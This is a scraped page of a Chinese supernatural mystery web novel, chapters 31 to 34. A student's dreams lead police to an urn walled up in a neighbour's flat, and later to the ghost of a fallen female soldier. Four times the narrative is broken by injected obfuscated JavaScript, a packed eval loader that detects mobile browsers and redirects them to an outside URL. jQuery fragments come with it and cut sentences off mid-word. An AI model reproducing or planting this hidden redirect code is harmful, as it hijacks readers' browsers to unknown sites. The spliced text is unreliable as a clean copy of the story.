;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454402|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
帮主径直往姚奶奶睡觉的那间卧室跑过去,依旧是穿门而入,而且这次曲通幽迟疑的时间有点长,它还又从里面探出脑袋催促地喵了两句。
这次没什么迟疑的了。曲通幽穿门而过,就来到了自己白天只是从外面看过的老人卧室。
姚奶奶正在床上酣睡。这个梦还挺真实,因为上了年纪而变得有些明显的鼾声一起一伏。带她进来的帮主就在这鼾声中,匆匆忙忙地在狭窄的卧室里……跑酷。
它从门口跑到床头,又沿着狭窄的过道又跑回来,反复几次。最后抬头朝她叫了一声。
老人家总是怀旧,哪怕是刚搬来的新家,也已经被塞得满满当当的。曲通幽白天来的时候就觉得卧室拥挤,等到真的走进来一看,更是觉得比自己家狭窄很多。
她看着帮主沿着那条过道一遍遍走,忽然福至心灵,也跟在猫的后面,从门口走到尽头的墙。
姚奶奶的卧室刚好在她自己的卧室正下方,布局也和她的差不多。床头靠着窗户,曲通幽从门口往里走,正好从沉睡的姚奶奶身边过道走过。还能听到对方丝毫不被打扰的呼吸声。
走到尽头,六步半。
她不敢置信地回头再走一遍,这次更注意了自己的步距,却仍然是六步半。
而她自己每天在楼上走的那段路,需要七步。
这件卧室不是看起来更加狭窄,而是确实短了一截。
帮主就站在尽头的那面墙旁边,抬起一只爪子轻轻抓挠着墙面。夜色寂静,不大的小猫爪也在墙上抓出空空的声音,也让曲通幽意识到,这是一面轻质隔墙,有一部分空间被隐藏了起来!
她往前又走了两步,仗着是在梦里,索性想要把墙面扒开看看里面到底是什么。可下一秒,她就一步踏进了没有尽头的黑暗中。
黑暗,冰冷,狭窄,她像是被关进了一个密闭的小空间中。远处有隐隐喊杀声传来,依稀还有枪响。她胸口充斥着愤怒和仇恨,但却一动不能动。
要离开这里,杀死他们……全部杀光……
这不是她的情绪,却一股脑钻进她的脑子里。并不算太清晰明确的想法,只有一个导向性。曲通幽努力想把自己的意识抽离开,可摆脱了那情绪之后,周围却仍然是一片漆黑。
她试探着伸出手,往前摸索了几下,她那并不存在实体的指尖突然触碰到一片粗糙的布料。随即,那个像是“尺”的金色字符一闪而逝,烙印在了面前的黑暗中。
曲通幽在自己卧室的床上睁开了眼睛。
她先看了眼时间,现在是凌晨三点半。空气清新没有黑雾,走出卧室门,客厅的两扇门也都是好好关着的。
所以,刚才真的只是一个梦而已?
她的目光仔细扫过客厅的每个角落,忽然定格在防盗门的角落处。她走近蹲下身来,不确定地伸出手,把那里的东西捏起来凑到灯光下看。
这下看清楚了,那是一缕姜黄色的猫毛。
31.031
这个中秋节,尹修景难得迎来了三天假期。
作为一名刑警,他一年中大半的假期都被加班和案件占据着。996对他们来说都算是放松的工作节奏。所以他格外珍惜这三天假期,没出门旅游没呼朋唤友吃饭喝酒,而是把时间都放在了睡觉死宅上。
只是到了假期第二天,他却收到了一条让他有些意外的消息。
【A大曲通幽:尹警官,我是A大的学生曲通幽。我要报案,我楼下的那户人家里墙壁中埋着尸体!】
尹修景:……
他没花多少时间就想起了这个人是谁,毕竟上次他经历的那个案子太离奇,这个看似平平无奇的女大学生又是提供了重要线索的人。虽然后来他们樊队也没有把她牵扯进来,可对这人还是多看了几眼的。
可是,经历过一次那种事,不代表生活中的每一天都要疑神疑鬼啊小同学!
尹修景叹了口气,回了条消息让她少看点悬疑恐怖小说,水泥藏尸会让建筑开裂变形,普通老百姓现实中是很难遇到的。结果他刚回完消息,那边的电话就打了过来。
“尹警官,我要报警,我家楼下那户人家墙壁里面藏有尸体,还是女尸!”那边的女生声音居然还非常严肃。
“……同学,你听我说,一般人是不会那么经常遇到尸体的。你闻到的臭味可能是他家的冰箱断了电肉腐烂了,你感觉墙壁上有人形可能是油性皮肤的男人靠墙睡时间长了睡出来的,你……”
他把自己经历过的那些乌龙事件总结出的经验一股脑说出来,可还没等他说完,就听电话那头的人说道:“我知道是我疑心病有点重,可这事实在是有些离奇,实不相瞒,我也不是闻到了什么怪味,就是我回来的这几天,每天半夜都有一个女鬼在楼下敲门。”
尹修景的表情顿时就严肃了起来。
正常情况下,听到了这种报案的警察应该是二话不说当成骚扰处理的。可他不一样,别说他刚经历了那么离奇的事情,就说是在这之前,甚至是现在,他也身陷于某些无法言说的怪事之中,因此听到这话,他的态度居然比之前还要郑重。
“我一开始以为是我在做梦,不过有一天晚上我出门看了看,那女鬼就换了目标,缠上我了……”
曲通幽一边讲电话,一边仔细看着自己列的大纲。她详细编造了一个楼上无辜邻居被怨鬼找上门诉说冤屈,听她亲口道出自己的不孝儿把她的尸骨藏在家中墙壁内的故事。她为了把自己的特殊能力和直接提刀杀鬼的丰功伟绩抹去,编这个故事花了不少时间。最后才强调道:“尹警官,这种事按道理我是应该直接报警的。可我觉得我们这边的警察可能会觉得我在打骚扰电话,想来想去只有你可能相信我。要不,你联系一下有关部门来查一查?”
她确定,关于那个浮在水面之下的世界,尹修景肯定是知道些什么的。
化阴虫的存在是铁板钉钉,她们这些无辜被波及的人尚且已经接触到了鬼怪,他们当初远赴南兰国捣毁窝点,肯定能从其中发现更多诡异的东西。
既然知道有那些东西存在,那么自己这一番匪夷所思的话,在他听来也许比纯粹的怀疑更能引起他的注意。
果然,电话那头沉默良久,尹修景便问道:“你现在在哪里?”
曲通幽把地址告诉了他,他便叮嘱道:“我们马上就到,你别打草惊蛇,那个东……嗯,犯罪分子不是你们这种普通群众能对付的。千万别轻举妄动!”
曲通幽挂了电话,心想自己早就已经轻举妄动过了。
要不是她通过特殊手段把楼下的虚实摸清楚了,她也不会没事找事打这个电话。
只不过接下来的事情也算是交出去了。她连藏尸的地点都通过“托梦”的借口详细告诉了尹修景,他们只要能进到姚奶奶家里,肯定就能找到证据。
果不其然,她在家里也就等了半个多小时,楼下就传来了喧闹声。
警察敲门的声音,姚奶奶惊讶的询问,还有左邻右舍听到声音出来看热闹的声音。
最开始还是窃窃私语,只是随着正下方一阵乒乒乓乓的声响之后,人群顿时爆发出一阵惊呼。
她本来是不想出门的,可听到这里也实在忍不住了,推开门跑到楼梯平台处往下看。
四楼东户门口已经里三层外三层围满了人。曲通幽甚至怀疑隔壁楼的都跑来看热闹了。姚奶奶靠着墙,脸色刷白,一副要昏过去的样子,两个警察则是神情慎重,带着手套手里捧着什么东西小心翼翼从屋里走出来。另外一个则是在打电话。
“马上通知牛得顺及其亲属到XX路派出所……对,立刻!他涉嫌故意杀人,如果不来的话可以强行逮捕!”
其中一个警察抬起头来,曲通幽这才发现正是小尹警官。他看着津津有味看热闹的曲通幽,一副欲言又止的样子,最后还是什么都没说,只深深看了她一眼。
姚奶奶被一个女警扶着,好言劝慰着也上了车。等到现场只剩下围观群众的时候,各种惊叹和八卦声一下子爆发出来。
“那是啥东西?一个盒子?”
“警察不都说了故意杀人案吗?肯定是尸体啊!好家伙,这新来的老太太杀人藏尸啊!”
“屁!你们没听见是要抓牛得顺吗?要杀人藏尸也是他干的,我早就看他不是个好东西了!”
“你们看见了没?那盒子上有好多墙皮灰,这老太太才买了房子多久啊。咋会从墙里挖出东西呢?”
曲通幽眼睁睁听着人群越说越离谱,到最后已经编出了牛得顺杀人藏尸卖房跑路,可怜老太太无辜接盘的故事来。
人民群众的八卦欲望果然是最强烈的,曲通幽觉得接下来的事情应该不用自己拐弯抹角去跟尹修景打听了。
果然,不到三天,曲振军同志回家的时候就带来了她想听的八卦。
“那个牛得顺,真不是个东西啊!”老曲唏嘘着说,“我以前就知道他不孝顺,没想到他能不孝成那样!当年福婶身体还挺好的,那病要是及时治了也不是治不好,结果那东西……那东西就硬是拖着不治,把他妈给拖死了!”
夏璇也啐了一口:“活着的时候不孝顺,死了就更过分了——我倒是也见过不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461382|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少‘孝子贤孙’,可人家捞老父母的钱,倒还记得最后风光大办一场,那个目光短浅的倒好,一打听火葬场的价格,直接连火葬场都不去了,不知道在哪找了个私人焚化炉把他娘烧了,连块墓都不知道买,就往那老宅里一丢!我听说他这次上门,是因为那一大家子总是做噩梦被老人拿刀子捅心口,这就是遭了报应了!这种死东西,我要是福婶,怕是早就拉着他们一起下去了!”
夏璇越说越气。他们夫妻俩当年都是钢铁厂的工人,和福爱花也打过不少交道,现在骤然得知老同事的结局,两个人都气得心口疼。
“好啦好啦,消消气。那都是别人家的事,我肯定不会这样的!”曲通幽体贴地给父母端上一杯热茶,狗腿地保证道,然后继续八卦:“福奶奶真不是他杀的?那他卖了房子为啥不把骨灰带走啊?”
曲振军嗤笑一声:“还不是怕花钱?这些年房子价格确实比墓地涨得高,可一块公墓也得大几万吧。他当年给他妈找个正规火葬场都不舍得,现在哪舍得这钱!听说是个老太太住进来,他就砌了堵墙把骨灰盒子扔在了里面。那老太太进来没仔细量房,所以根本没发现少了那点空间。也是倒霉,买了这种人的房子!”
“这得判几年?”
“判啥啊,人不是他杀的,最多赔点钱,真是便宜他了!”
父母还在义愤填膺讨论着怎么能把牛得顺这种人关进去,曲通幽却是已经放心了。
能把这事了结就行。至于没把牛得顺关进去……她说句公道话,牛得顺被养成这样子,跟当年福奶奶只知道无怨无悔的付出而不知道早点教训孩子也不是完全没有关系。
福爱花当初可是工厂的正式工,她掌握着家里的经济大权,几个孩子当初又都年幼,要是她能早点硬气起来给孩子们一个个立规矩,那些人还真的没法把她怎么样。
最后搞成这样,只能说是单纯的慈母心感化不了白眼狼。能在法律允许的范围内给牛得顺一点惩戒,想来福爱花也能顺心点,不会再来找她了吧?
接下来的几天果然风平浪静,不管白天黑夜都没再有什么东西找上门。
曲通幽那口气总算是彻底松了下来。眼看假期也到了结尾,8号这天上午,曲通幽也开始收拾行李,准备下午就去学校了。
可她没想到,行李刚收拾到一半,自己的手机却忽然响了起来。
她看了下来电,是个陌生号码。接起来喂了一声,等听到对面的声音,眉毛顿时就意外地扬了起来。
号码她没见过,可那边的声音她却是熟悉的。就在三天前她还听过的。只是现在,那声音却憔悴得像是连续熬了两个通宵一样,没有半点属于年轻人的朝气。
尹修景开门见山:“曲同学,你说的看到的那个上门敲门的女鬼,是不是半白头发,眼睛血红,穿一身暗红色的棉袄,一条腿看起来还好像断了?”
“……好像是这样,不过我当时没仔细看。你怎么突然问这个……”
尹修景苦笑:“当然是因为她也找上我们了啊。这都连续三天了!”
曲通幽:?!
32.032
曲通幽第二次来到了那间谈话室。
接待她的有两个人,一个是尹修景,另外一个则是上次见过一面的年长些的女警察。两个人的眼圈一个比一个黑,表情也一个比一个凝重。
“这是我们樊队。”尹修景介绍道。
“樊宵安。”女警友好地伸手和她握住,“上次咱们见过的。这次主要是想问一下你说的……嗯……能量体找上门的细节。”
“……能量体?”
樊宵安双手交握放在桌子上:“嗯,这是我们内部对现在已经出现的灵异现象的主体的统称。那些因为强烈情感而滞留人间的违背科学的存在,无法监测、无法控制、无法记录,只能检测到有能量存在,所以叫做能量体。”
“还真的有其他灵异现象啊?”曲通幽惊了。
樊宵安笑了笑,却没继续说下去,曲通幽便明白这些东西不是她一个普通学生能知道的了。
她整理了一下思路,慢慢道:“其实我遇到的事也都跟尹警官说过了。甚至那个女鬼……能量体的样子我都因为害怕没看清。第一天遇到这事我还以为是自己做噩梦呢,还跑去庙里拜了拜,结果还是没用。正巧遇到我家楼下原来那户主来闹事,我才想到一点疑点。结果可能是我自己猜到了一点边,当天晚上,那个女鬼就进了我梦里,告诉了我她骨灰的所在地。”
“是她本人进入你的梦里,当着你的面告诉你骨灰盒所在地?”尹修景追问着,“既然是这样,为什么你会说没看清她的样子?”
这倒是问到了曲通幽隐瞒着的部分。她犹豫片刻,才选择性说了一部分真相:“其实不是她本人……这事我觉得有点离奇,于是就瞒了下来。那天晚上进到我梦里的,是我们院里的一只橘猫。那天之后我去找过它,但是它却突然消失了……我想着只是一只猫而已,就没仔细说这细节。”
听到这里,两人快速交换了一个眼神,曲通幽暗自觑着,总觉得那眼神中好像有点失望。
“猫啊……也对,极少数的猫也确实能通灵。就是……哎……”
樊宵安有点意兴阑珊,点了点尹修景,示意让他把能说的说一下。
“10月5日,我接到了你的报案电话。联系了当地派出所,到钢铁厂家属院9号楼1单元402房间进行了入户搜查,在南卧室的隔墙内找到骨灰盒一只。内部存放着火化后的人类骨殖。我们审讯了现任房主姚秀英和前房主牛得顺,最后得出结论,该骨灰属于牛得顺病逝的生母福爱花。因为不存在故意杀人情况,因此将此案移交民警。”尹修景将前因后果简单道来。
曲通幽点头,这和她在家属院里听到的八卦差不多。
“我以为这事就算是完了,可是——就在骨灰移送到鉴证科的当天晚上,我们值班的法医同志遇到了怪事。大概第二天凌晨两点左右,他听到停尸间里有东西在敲门。”
“停尸间里敲门???”
“是的,我们值班的同事那天晚上不知道怎么回事,到了后半夜特别困。声音响起来的时候,他还以为自己是在做梦……只是等他去停尸间查看的时候,发现本来应该锁着的门被推开了一条缝。一只血红的眼睛正从里面往外看。”
曲通幽:……
刺激,这可比她遇到的事情刺激多了!
只是小尹警官显然不是个说书的人才,他讲到这里便戛然而止:“这是第一夜。”
“我听他说了这件事之后,第二天就换了我值班。那天我确定自己一直没有睡。但是到了凌晨两点,值班室的门从外面被敲响了。”
“值班室?不是停尸间了?”
“对,值班室外面是一条很长的走廊,走廊尽头才是停尸间。那天晚上我一直注意听着声音,但是值班室的敲门声就是突然响起来的。之前停尸间门口没有敲门声,也没有走过来的脚步声。值班室的门旁边有一扇窗户,我从窗户往外看,就……看到了之前告诉你的那个女鬼。”
“等等,你们局里应该是有监控的吧?监控没有拍到她是怎么出现的吗?”
“监控是拍不到那东西的。”樊宵安在这时开口道,“还记得我刚才说的吗?能量体无法监测、无法控制、无法记录,只有目击能证明它的存在。所以,想要解决它们,目前也只有靠人力亲自上。”
顿了顿,她又道:“所以,第三夜,听到敲门声的人变成了我。而且,这次敲的是值班室的床板。”
她的声音格外平静,可听在曲通幽耳中却觉得毛骨悚然。她也听出了这三天的变化——敲门声一次比一次接近。最后一次已经到了床下。如果按照这个规律,今天晚上,那女鬼恐怕就……
“按照以往解决能量体的规律,我们首先需要知道她的身份,才能消解让她滞留人间的强烈情感。因为你是第一个目击者,所以想跟你问问更多线索。”
两个人都带着点期待看着曲通幽,似乎在等着她回忆起什么之前忽略的细节。
嗯……没有对他们说的细节,倒的确是有,但这是她最隐秘的秘密,而且说出来好像对女鬼的身份也毫无助益……
曲通幽想了想,突然想起了一个细节,陡然精神一振,道:“我想起来了。我遇到女鬼的第二天,和同学去了我们家隔壁的和光寺求佛。在那里遇到了一个年轻和尚。他说,我遇到的并非怨鬼,她没有怨气,也不会伤害人类。我觉得你们要不要找那个和尚问一下?”
樊宵安和尹修景本来都没打算得到什么有用线索了,听到这话顿时精神一振。尹修景立刻详细询问了那个年轻和尚的长相特征,打算立刻就去和光寺找这个人询问情况了。
“正好把你捎带回去。”青年笑着说道,“还是说你要回学校?”
曲通幽:“……我都来配合你们工作了,帮我给学校请半天假行不行?我不想这么快就结束假期!”
樊宵安微笑看着她:“小同学不要这么抗拒上学嘛,大学可能是腻味俩人生中最快乐的一段日子了。再说了,你学的专业挺好的。好好学习,以后会用得上的!”
这是惯常的长辈胡乱指点小辈人生的话,可这一次,曲通幽却从中听出点不一样的味道来。
“您是说,以后这样的怪事还会发生?而民俗学,有的时候会变成解决那些能量体执念的一把钥匙?”她敏锐地问道。
樊宵安眼中闪过一丝赞赏,但还是什么都没说,只是打着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469247|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哈哈道:“总之,好好学习,就算是将来用不上,咱们的研究所和博物馆还是需要更多你们这样的人才的!”
她鼓励地拍了拍曲通幽的肩膀,就在手掌和她相触的一瞬间,一点像是静电火花一样的火星迸起来,落在樊宵安手背上就消失了。
樊宵安似乎是没有注意,可曲通幽却看得清楚,那一点火光的形状,是一个“尺”状的字符。
……对哦,樊宵安也算是经历了灵异事件,按照她上次总结的规律,也属于能被她标记入梦的范围。难道说她今晚就能梦到樊宵安的经历?
算了,上次她在梦里突然标记了一个女鬼还没梦到呢,看来也不是每一个标记都能让她入梦的。
曲通幽压下了心里那点忐忑,还是跟着尹修景先回了和光寺,准备继续收拾上午弄到一半的行李。
第二天上午没课,曲通幽也就打算在家里休息一晚上再坐公交去学校。中秋假日这几天虽然她没出门旅游,可也是够累的。
只是等她睡下没多久,就意识到自己想要好好休息的梦想又破灭了。
她睁开了眼睛,但周围却是一片黑暗。
不是正常卧室夜晚的黑。没有从窗户透进来的都市光污染。她就像是瞎了一样看不到任何东西。不仅如此,她的鼻端还萦绕着一股泥土的腐味。
是那种正常的、新鲜肥沃的泥土,让人想起农村那种生长着茂盛野草和小花的土地,土中可能埋葬过很多东西,但都被大自然的伟力消解了,到最后只剩下孕育生命的沃土。
耳边有淅淅沥沥的水声,像是在下雨。还有清越的虫鸣和鸟叫。但都不太清楚,像是隔了一层墙壁传过来。除了雨声,其他都是间或响那么一两声,反倒衬得周围的环境更加凄清幽寂。
曲通幽意识到,自己应该是又进入了不知道谁的梦里。
她尝试摆脱自己附身的躯体,倒是很意外地成功了。只是黑暗仍然笼罩了一切,她什么都看不到。
倒是在她耐着性子等了一段时间后,耳边的声音渐渐发生了变化。
雨声变大,变成了连续不断的噼啪炸响。有的远一点,有的则是近在咫尺。周围的温度也骤然升高,就好像她正处于炮火连天中一样。
“……他们来了!”
“跑?往哪跑?他们会杀死我们所有人的!”
“大家别害怕!有我们在,不会让他们伤害你们的!咱们就是死了,也要把他们赶出去!”
“杀!杀光他们!”
“呜呜呜……班长你别死啊!我……”
“不许哭!死不了的,再坚持一下,咱们的队伍马上就……爬起来拿着刀!”
轰——
“不许哭!不许跪下!乡亲们还在山上,你要是跪了,他们就全都要没命了,我……翠丫,你看那边,他们只剩下四个人,把他们全杀光了,我们现在可是……”
“班长啊——”
杀了你们!杀了你们,杀了……
枪炮声渐渐小了,又变成了淅沥的雨声。可是周围还是黑暗的,就好像一盘老旧的磁带,大部分信息都已经损坏了,磁头能够循环播放的,只有那么几句残存的片段。
33.033
曲通幽来回想了好几遍,琢磨出一点意思来。
这个女鬼的记忆片段是一场战争,她担任的可能是那个班长,为了保护被敌人入侵的老百姓和战友们牺牲了。
只是,福奶奶不是一直住在A市吗?她年轻的时候就算经历过战争,也不该参军后牺牲在战场上啊。
难道说,那个女鬼其实并不是福奶奶?那她又是谁?为什么会被牛得顺藏在自家老宅的墙壁里?
可女鬼的记忆实在太短暂了,又只剩下声音没有画面。她穷尽想象力也只能推断出这些。曲通幽苦恼地又听了一遍记忆回放,觉得要是能换个角度看看这一幕就好了。
她这个念头刚刚升起,眼前就突然一亮,刹那间竟然是已经换了个场景。
头顶是明亮的格栅灯管和扣板吊顶。她躺在狭窄的铁架单人床上,双眼直直盯着上方。旁边的墙壁上挂着几块塑料板,这个角度能看到顶端的“值班守则”等文字。
她好像明白这是在哪里了。
曲通幽成功把意识抽离。站在旁边看了一眼,果然看到全副武装躺在床上的樊宵安。
和她见过两次的随和惫懒不同,此刻的她却是严肃又犀利。那双眼睛扫视着目所能及的每一个角落,像是猛虎在巡视自己的领地。
曲通幽一开始不太清楚为什么她要选择躺在床上,等到意识抽离之后才看出了端倪。
樊宵安的左手勾在铁架床和墙壁的中间缝隙里,正死死拽着什么东西。
她带着点不妙的预感,往床下看了一眼。
——正好和一双血红的眼珠子对上了。
在自己家门外出现过的女鬼,连续三个夜晚造访值班室的女鬼,此刻正以一个扭曲的姿势趴在床下。她的脖子翻转了超过180度,夹杂着一缕缕灰白的长发散在地上,一条明显已经断掉的腿蹬着墙,瘦骨伶仃的手一只被拽在墙边,另外一只则是抬起来,用指关节一下下叩着床板。
咚,咚,咚。
曲通幽望着这一幕陷入了深深的震撼中,一时间甚至忘了害怕。
什么叫猛人?看看人家樊宵安!她当初见到女鬼怕得都不敢仔细看她的脸,人家甚至能这样空手抓着女鬼的胳膊!
一人一鬼就这么僵持着,曲通幽也没忘了自己是来梦里干什么的。她趴在地上仔细看着女鬼的装束,这才发现,对方穿着的衣服并非本来就是暗红色,它一开始应该是土绿色的,只是上面被鲜血浸透了,所以才会在一扫之下被她当成是陈奶奶穿的红棉袄。
看制式,那件衣服应该是一百多年前的“军装”。
这个发现让曲通幽猛地振奋了一下,也不顾床下女鬼那狰狞的外表,更加努力地伸头进去想要看清细节。她看到了女鬼断腿处伸出皮肤的森白骨岔,看到了那衣服上一个个仍然在汩汩往外流血的弹孔,她甚至还听到了女鬼喉咙里发出的模糊的歌声。
“山间青草绿……何人不还乡……”
是她从未听过的曲调,仔细品还有几分悠扬。曲通幽这才反应过来,被樊宵安抓住之后,女鬼不但没有暴走,看起来反而安静了几分。
看来,那个不知名和尚说的女鬼不会伤害人居然是真的?
她心情稍微放松了些,这么一看,果然发现了自己想要找的东西——
女鬼的右边胸口,有一块已经被鲜血污染的看不清楚的缝布名牌,上面还能看到几个字。
“……军七连……荡寇……”
曲通幽惊喜地睁大了眼睛,刚想继续找线索,突然眼前一暗,看到的已经变成了自己卧室的天花板。
她愣愣坐起来,还有点不敢相信自己就这么从梦里出来了。
不是……她刚刚找到一点线索啊!
但凡她能再靠近一些,一定能看到更多东西啊!怎么这就出来了?
和飞蛾那时候的梦相比,今晚的这个梦简直就是个超级残次品,差评!!
她坐在床上恨恨捶胸顿足了一会儿,想要拿起手机看看时间,然后才发现在自己睡着之后,尹修景给她发了几条消息。
【警察叔叔:我找到了你说的那个和尚。他叫遥空。他说,之前在你身上看到了阴气,只是因为没有危险,并没有插手你的因果。】
【警察叔叔:这帮和尚还是那样神神叨叨的。不过倒是也说了点有用的。他让我们再仔细验一下那盒骨灰,然后,往东南找。】
【警察叔叔:那个女鬼今晚没来,应该是发现我们找到了线索。所以你也不要再插手这事了。就算你……你只是个普通学生,不知道这里面有多危险。剩下的交给我们就好!】
曲通幽只是扫了一眼最后那些唠叨,就把注意力集中到了关键信息上。
尹修景他们应该也发现了,骨灰盒里装的应该不是福爱花的骨灰。他们还得找那骨灰的真正主人。
只是往东南找……这个说法也太模糊了点。
一百年前,这片土地上发生过太多战争,从自己听到的声音里判断,女鬼牺牲的那场战争应该规模很小。这样的战争,几乎不会被记录下来。想要找她的身份很困难。
曲通幽沉思片刻,起身打开了电脑,输入“东南”“七连班长”“荡寇”等关键词搜索。
她只是想着自己掌握的线索比尹修景他们多一点,想要试试看。可没想到,组合搜索一番之后,居然真的给她找到点东西。
这是一篇宣传稿,出自新广省海昌村的文旅宣传豆腐块。大致介绍当地一些旅游景点的。新广省本身旅游业不算发达,这个海昌村更是听都没听过。所以这篇文章的阅读量都很少。
只是曲通幽却注意到,里面提到了一棵“烈士树”。说是三几年的时候敌寇入侵村子,当时我军的一支女兵刚好在附近,她们立刻组织村内老小上山避难,自己则是以村子为阵地和敌寇进行厮杀。最后一队七人全部在村口附近的老槐树下英勇牺牲。
那七名女兵无名无姓,只有一个老人回忆起来,说她们当时的班长说过,她们来自某某营七连。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473003|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>七连,无名女烈士,为了保护村民牺牲。看起来完全能对应上啊!
曲通幽犹豫了一下,还是选择把这篇文章发给了尹修景。
虽然说她没办法告诉他自己是怎么查到这里的,但新广省也算东南,偶然找到也很合理对吧?
*
长假结束,返校的学生总是需要几天来进入状态。
曲通幽本来以为,自己仗着家在本市来的已经够晚了,可没想到等她到了学校,却发现原来自己才是那个乖宝宝。
秦琴说是买不到返程机票,给辅导员请了假以后第二天才到,李乐瑶更是不知道什么原因,晚了三天才来。方君茹又恢复了每天兼职和泡自习室的日常,宿舍里大部分时间只有她一个独守空房。
不过,这环境倒也方便了她继续了解钢铁厂女鬼那边的后续。
八卦当然还是通过万能的家属院群众传出来的。她妈的声音是透过电话也能听出的惊叹和激动。
“这可真是大新闻啊!幽幽你肯定做梦都想不到,那个牛得顺被卷到大案子里了!他偷偷藏在老房里的那个骨灰盒,根本不是他亲娘的,是盗墓贼从荒山里挖出来的!”
夏璇女士激动得前言不搭后语,曲通幽好不容易才从她的叙述中拼凑出事件原貌。
那骨灰盒里的果然不是福爱花。
当年福爱花去世,牛得顺为了省钱,连正规的火葬场都没去,不知道从哪找了个焚化炉把人烧了。领回了一盒子骨灰。
可他却不知道,那个搞灰色生意的人还是个横跨多个行业的全才。那操心的事情多了,自然就会忙中出错。等烧完人去捡骨的时候才发现炉膛温度没调好,里面啥都不剩了。
不过这种小问题难不倒全才,他一拍脑袋,连夜爬到山上挖了座孤坟,把里面的骨头扒拉出来随便烧了下,糊弄成了福爱花的骨灰交给了牛得顺。全程没有一个人去追究这里面的问题。一个陌生人就这么被当成了牛得顺的亲娘,孤零零在老宅里沉睡了十年。
“我听门岗张老头说,那被扒的坟是个女战士的,她为了保护当地老百姓牺牲了,没想到被这种人……哎!也是十年前都不重视这些,那畜牲肯定要重判的!听说那烈士还是江南的妹儿,为了保家卫国远赴千里,临死都没有回去过……”
“那,查出她叫什么名字了吗?”
滔滔不绝的夏璇被她问得一愣,冲厨房里喊道:“振军,张老头说那妹儿的名字了没?”
“好像姓戚,叫什么戚芳,可又说后来改了名儿的……”
“那到底叫啥啊?”
“我哪知道,张老头那儿听来的话只能信一半,这你不是应该知道吗……”
电话里父母的声音渐渐远去了。
曲通幽抬起头,发现不知什么时候,宿舍门外面突然多了一双脚。
宿舍门还是好好关着的,但门下方的缝隙有点大,所以她还是能看到一双像是布鞋又像是草鞋的下半部分,鞋底沾着不知道是泥还是血的什么东西。
34.034
天色近黄昏,她们的宿舍靠近走廊尽头窗户,按道理这双脚的旁边是应该有影子的。可从门缝里看去,却什么都没有。
走廊里静悄悄的,曲通幽不知道是正好这会儿宿舍楼没人,还是自己又被拉入了异空间中。只有熟悉的阴冷感觉再次袭来。
“山间青草绿,树头梨花香……”
门外突然传来了清晰的歌声,那正是曲通幽在梦里的床下女鬼口中听过的曲调。只是这一次更加婉转悠扬,像是十四五岁少女无忧无虑的哼着的小调。
“梨花落时出家门,梨花开时不见回。阿姆树下等阿妹,等到那梨花落满头。”
曲通幽听得入神,脑海之中,之前夜里曾经出现过的那两个字符缓缓浮出,跃然眼前。她不受控制地站起来,往门口处走过去。
手掌贴在了门上,明明是木门,可却感受到冬天的金属一样刺骨的寒冷。她张开口,陌生的曲子自然而然脱口而出。
“何人不还乡?何时能还乡?待到那白花变红火,红花开处是故乡!”
门外陡然变得一片寂静。许久之后,才有一道女声自语一般问道:“我是谁?这是哪里?”
“你是戚荡寇。”曲通幽自然地喊出了那个名字,那个她在女鬼胸前名牌上看到的最后两个字。
“戚荡寇,戚荡寇!”
她连喊三声,脑中想到的却是自己在梦里看到的那一幕。
笃笃笃,门又被敲响了。
她的手按在门上没有动,可木门却突然从外面被拉开,她一直躲躲闪闪只看到部分真容的女鬼终于第一次完整出现在她面前。
她穿的还是那件布满了弹孔的染血军装,可却不再是曲通幽记忆里那双眼充血的鬼怪样子。那双眼睛温和而坚定,头发已经有一半都是银丝,可那双颊凹陷的脸却明显还是个年轻人。
夕阳照在她身上,地上没有影子,布满了伤口的手在空中虚握几下,又怅然若失地放了下来。
“戚荡寇,你的骨灰现在应该还在局里。但是过不了多久,他们就会送你回去了。”
